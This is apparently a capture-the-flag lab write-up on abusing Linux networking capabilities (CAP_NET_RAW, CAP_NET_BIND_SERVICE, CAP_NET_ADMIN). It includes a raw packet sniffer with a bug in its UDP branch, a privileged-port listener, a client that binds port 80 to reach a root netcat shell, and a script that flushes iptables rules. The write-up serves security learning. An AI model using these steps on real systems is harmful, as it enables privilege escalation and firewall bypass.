Exploiting Linux Capabilities – Part 5

So far you have learnt about some common Linux capabilities related to DAC and other extra attributes like immutable files. If you haven't read that, I would recommend you to first read those posts and then come back here – https://tbhaxor.com/linux-privilege-escalation/

Today I will be discussing few capabilities that are related to networking. I will be using attack defence labs to demonstrate the working and permissions allowed by these capabilities. The list of labs are as follows

If you want to refresh your knowledge on how Linux capabilities work, you should read Understanding Linux Capabilities first and then come back here.

LAB: The Basics: CAP_NET_RAW

In this lab, I found that the tcpdump program has cap_net_raw capability set in both effective and

Getting the capable files recursively from the root directory

When you open a new socket and send/receive, the poor kernel handles all this for you by converting packets in raw transmittable format and parse them for you. Sometimes for sniffing you need to request raw packets from the kernel, to do this either you have to run a program as a privileged user or the program should have cap_net_raw capabilities. This capability can also be used to bind to any port and use the program as a proxy. With this capability, you can not directly escalate to get a privileged shell

From the man page of Linux capabilities

In the lab hint, I have been asked to watch out for a particular IP – 93.184.216.34. You can achieve this by tcpdump host 93.184.216.34 . After some time you will see the flag in the path of the HTTP request resource

Retrieving flag from TCP dump

LAB: The Basics: CAP-NET_BIND + NET_RAW

In this lab, I found that the python interpreter has two capabilities – cap_net_bind_service and cap_net_raw. Both of them are in an effective and permitted set and the second one is already discussed above

Getting the capable files recursively from the root directory

There are in total 65535 ports in that service that can open to listening or connect to receive or send network packets. First 1024 are considered as a privileged port and only processes running with a privileged user id (EUID = 0) or having cap_net_bind_service can bind to these ports and the following ports range can be used by any process to listen or open for the connection. You can not directly escalate to get the root user shell, but you can use it for opening privileged port for a bind shell

From the man page of Linux capabilities

I can see a python script is running with the name send-flag. This might be a client trying to connect to a port and send the flag.

Python running suspicious application send-flag

Here I have managed to get the raw packet sniffer from the hacktricks gitbook – https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#example-with-binary-2-2

import socket
import struct

flags = ["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
def getFlag(flag_value):
    flag=""
    for i in xrange(8,-1,-1):
        if flag_value & 1 <<i:
            flag = flag + flags[8-i] + ","
    return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))
flag = ""
count = 0

while True:
    frame = s.recv(4096)
    ip_header = struct.unpack("!BBHHHBBH4s4s", frame[14:34])
    proto = ip_header[6]
    ip_header_size = (ip_header[0] & 0b1111) * 4

    if proto == 6:
        protocol="TCP"
        tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
        tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
        dst_port=tcp_header[0]
        src_port=tcp_header[1]
        flag=" FLAGS: "+getFlag(tcp_header[4])
    elif proto == 17:
        protocol="UDP"
        udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
        udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
        dst_port=udp_header[0]
        src_port=udp_header[1]
    
    if proto == 17 or proto == 6:
        print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + "Source Port: " + str(src_port) + flag)
    
    count = count + 1
    pass
Listening to the raw sockets to get the port address

On running I found that port 119 is unchanged and there are some connections made on this port and this port number falls under the range of privileged ports. So this could our port where to listen for the flag

Packet sniffer in action

Here I have written a small exploit code (looks lengthy because of explanation). This code will listen on port 119 for all the hosts (networks) and accept one connection at a time.

from socket import socket

# create socket
# default family is AF_INET (ipv4)
# default socket type is SOCK_STREAM (tcp socket)
# https://docs.python.org/3/library/socket.html#socket.socket
srv = socket()

# bind for on all hosts and on port 119
# listen for one connection at a time
srv.bind(('0.0.0.0',119))
srv.listen(1)

# accept the client connection
# this is a blocking call and will resolve when new client connects
cl, _ = srv.accept()

while True:
    data = cl.recv(1024)  # read 1024 chunks of the data from client socket
    data = data.decode()  # decode the utf8 encoded data
    data = data.strip();  # strip the unwanted whitespace chars from starting and ending of the string
    print(data)           # print the data
TCP listener code

After running the above code, I instantly got the flag

Listening on 119 port and retrieve the flag

LAB: The Basics: CAP_NET_BIND_SERVICE

We have discussed what does cap_net_bind_service do in the previous lab. In this lab again I found python has cap_net_bind_service capability set in both effective and permitted set

Getting the capable files recursively from the root directory

Also, I found that the netcat is listening for connections on port 4444 and on the new connection it is running a script from /opt/shell.sh

Netcat is listening to 4444 port and 

I tried connecting to the netcat and it refused the connection with the message "Terminating! Connection from a non-privileged port is not allowed". Also, I tried reading the content for /opt/shell.sh and it was not world-readable

Enumerating the ways to connect

The message while connecting from non-privileged seems odd. So basically when you try to connect to a port, the client also opens a port as a medium of communication even though in a localhost environment. In the above case, while connecting to netcat, the client used a port range 1025 - 65535, that is why it was blocked by the script

In the following script, I am binding to a privileged port and then connecting to 4444 port on localhost. This time the client will open port 80, which is indeed in the range of privileged ports to start the connection

from socket import socket

# create socket
# default family is AF_INET (ipv4)
# default socket type is SOCK_STREAM (tcp socket)
# https://docs.python.org/3/library/socket.html#socket.socket
cl = socket()

# requesting kernel to reserve port 80
cl.bind(('127.0.0.1',80))

# starting socket in connect mode
cl.connect(('127.0.0.1',4444))

while True:
	"""
    sending command to server and receiving the output via client socket
    """
	cmd = raw_input("# ");
    cl.send(cmd + "\n");
    output = cl.recv(1024).strip();
    print(output)
Exploit code to connect to the server with a privileged port

On running the above code, I was able to execute the command as root user and read the flag file

Exploit code

LAB: The Basics: CAP-NET_ADMIN + NET_RAW

So in this lab, a python interpreter has an extra capability cap_net_admin in both effective and permitted set

Getting the capable files recursively from the root directory

So far you have learnt about listening, binding or sniffing related capabilities. In this lab, I have encountered cap_net_admin capability which allows a capable process to perform administrative tasks on networking like configuring iptables (packet filtering tool), interfaces, routing tables and much more. You can not directly escalate to spawn a root user shell, but you can manage the networking in the target system

From the man page of capabilities

After looking for the process list, I found that netcat is serving on port 4444 and on the connection it will run the bash process as the root user

Trying connecting to the server

I got the following snippet from hacktricks gitbook – https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#example-with-binary-13. It will dump the current rules configured by the admin in the iptable

import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)
Python code to list the iptable rules

On running the above code it is clear that it is configured to reject the connection made by anyone on port 4444. It can be solved by clearing these rules

Getting iptable rules

Since Python has a module for iptables and it has cap_net_admin capability, I can flush these filters

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')
Flush iptable filters code

Run the above code to clear all the filters from iptables and I have confirmed by running get-rules.py file again

Clearing iptable rules

After clearing the filters, I can now connect to the netcat port and it will give me a promptless bash shell. I spawned the pty bash shell from python and read the flag file

Connecting to netcat server and getting root user shell
Gurkirat Singh

Gurkirat Singh

Hey there everyone, I am Gurkirat Singh (aka tbhaxor). I do full-stack development to fund my own learning and experiments. I am a cybersecurity enthusiast and like sharing my knowledge.
India